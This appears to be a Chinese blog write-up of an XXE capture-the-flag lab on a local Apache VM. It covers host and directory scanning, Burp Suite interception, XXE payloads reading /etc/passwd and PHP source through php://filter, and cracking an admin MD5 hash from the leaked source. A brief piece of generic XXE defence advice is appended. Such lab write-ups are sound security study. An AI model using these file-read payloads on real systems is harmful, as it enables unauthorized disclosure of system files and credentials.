Apache2之Ubuntu-XXE漏洞渗透

一、配置靶场

第一步:打开kali,作为攻击机,打开是黑屏不要蒙圈,是正常的

image-20240725183031896

第二步:配置局域网主机

探测局域网内的所有主机--

1、查看虚拟机的网络配置

2、查看到我的子网地址为192.168.189.0

image-20240725183548235

第三步:使用御剑端口扫描工具(其他的也可以,换汤不换药)

1、查看192.168.189.1到192.168.189.255的80端口

image-20240725184008028

2、查到这个ip和其他的不一样(突兀),就是它了

image-20240725184228053

3、访问这个查到的ip地址,发现是web服务是apache

image-20240725203115609

第四步:使用目录探测工具探测

192.168.189.151(我是用的WebRobot工具),我查到一颗响应码是200的链接

image-20240725185851074

第五步:打开查到的链接,查到该链接下有两个目录

image-20240725190122341

第六步:访问/xxe的目录(192.168.189.151/xxe),顺利打开靶场

image-20240725184340886

二、解题

第一步:先随便输入,看到没反应

image-20240725190427533

第二步:burpsuite抓包

看到了xml的代码,存在xxe漏洞

image-20240725190619160

第三步:发送到repeater重放器,我们在前面看到是apache的服务,构造xxe语句指向/etc/passwd,看看有没有回显

<!DOCTYPE root[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
&xxe;//把这个放在用户名那里

没有有用的东西

image-20240725195427752

但是好消息是xxe语句有效果

第四步:接着查看其他目录

1、查看apache首页的默认目录/var/www/html/,发现还是错误

image-20240725195543601

2、使用PHP协议查看php文件里面有啥

<!DOCTYPE root[
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/index.php">
]>
&xxe;//把这个放在用户名那里

查看到一堆乱码

image-20240725195750878

复制进行base64解码,解码后是php文件的源代码Base64 编码/解码 - 锤子在线工具 (toolhelper.cn)

image-20240725195915478

我查看代码里面没有和用户名和密码相关的

3、查看admin.php,base64解码查看php源代码Base64 编码/解码 - 锤子在线工具 (toolhelper.cn)

<?php
   session_start();
?>
​
​
<html lang = "en">
   
   <head>
      <title>admin</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">
      
      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }
         
         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }
         
         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }
         
         .form-signin .checkbox {
            font-weight: normal;
         }
         
         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }
         
         .form-signin .form-control:focus {
            z-index: 2;
         }
         
         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }
         
         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }
         
         h2{
            text-align: center;
            color: #017572;
         }
      </style>
      
   </head>
    
   <body>
      
      <h2>Enter Username and Password</h2> 
      <div class = "container form-signin">
         
         <?php
            $msg = '';
            if (isset($_POST['login']) && !empty($_POST['username']) 
               && !empty($_POST['password'])) {
                
               if ($_POST['username'] == 'administhebest' && 
                  md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
                  $_SESSION['valid'] = true;
                  $_SESSION['timeout'] = time();
                  $_SESSION['username'] = 'administhebest';
                  
                echo "You have entered valid use name and password <br />";
        $flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
        echo $flag;
               }else {
                  $msg = 'Maybe Later';
               }
            }
         ?>
      </div> <!-- W00t/W00t -->
      
      <div class = "container">
      
         <form class = "form-signin" role = "form" 
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); 
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control" 
               name = "username" 
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit" 
               name = "login">Login</button>
         </form>
            
         Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
         
      </div> 
      
   </body>
</html>
​

看到用户名administhebest和加密后经过MD5加密的密码e6e061838856bf47e1de730719fb2609,将密码解码后为admin@123`

md5在线解密破解,md5解密加密 (cmd5.com)

image-20240725200812435

image-20240725201401192

第五步:访问admin.php,使用查到的用户名和密码登陆

image-20240725201735791

第六步:看到了一个flag,点击,你会看到一个套娃

image-20240725202030292

第七步:查看这个新的php文件,有些无语了吧,继续吧。

你可以选择按照上面的第四步查看的文件的步骤一步一步查看。也可以选择超近道,直接访问/xxe/flagmeout.php.

进去后你会看到,空空如也。。。。。

image-20240725202704888

第八步:查看页面的源代码

终于找到你,还好我没放弃~

但是

查看到了flag??? in???不会又是编码吧???

image-20240725202821716

第九步:解码flag后面括号里的东西

而且是base32编码。。。出来后还是?乱码??

image-20240725204154608

第十步:再次解码

这次是base64解码。。。

image-20240725204346587

第十一步:查看这个目录/etc/.flag.php

<!DOCTYPE root[
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
​
&xxe;//放到name后面

第十二步:复制,解码

我没想到能写到十二步。。。。。。

image-20240725205009808

第十三步:复制,自己创建一个PHP文件放到自己的的localhost访问

我创建的是localhost.222.php,访问后看到flag的内容

image-20240725210613508

  • 17
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
泛微OA是一种常见的企业办公自动化系统,而XXE(XML外部实体注入)漏洞是指攻击者通过注入恶意的外部实体来读取或利用系统中的敏感数据。 泛微OA的XXE漏洞是由于系统对外部XML实体的处理不当所导致的。攻击者可以通过构造恶意的XML实体并将其发送给系统,然后利用系统对外部实体的解析不当来读取系统中的文件,包括敏感的配置文件、数据库信息。攻击者还可以通过XXE漏洞发起钓鱼攻击或者是向系统发送恶意的请求来进一步导致系统的安全漏洞。 为了防范泛微OA的XXE漏洞,建议以下几点: 1. 进行安全审计:对泛微OA系统进行定期的安全审计,通过检测系统中的漏洞和弱点,及时修复存在的XXE漏洞。 2. 模板限制:在处理外部XML实体时,应限制或阻止对外部实体的解析,避免可能的XXE攻击。可以通过设置合适的解析选项,限制对外部实体的访问权限。 3. 输入验证与过滤:对于用户输入的数据,应进行合理的验证和过滤,确保输入的内容符合预期格式,避免恶意的外部实体注入。 4. 更新补丁:定期保持泛微OA系统的更新与升级,及时安装官方发布的补丁和修复漏洞的版本。 5. 安全意识培训:加强企业员工的安全意识培训,提高他们对XXE漏洞及其他安全威胁的认识,避免因无意中点击恶意链接或下载恶意附件而导致漏洞的利用。 通过以上措施,可以有效地减少泛微OA中的XXE漏洞,提升系统的安全性。及早识别并修复漏洞,有助于保护企业的机密信息以及防止潜在的安全威胁发生。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值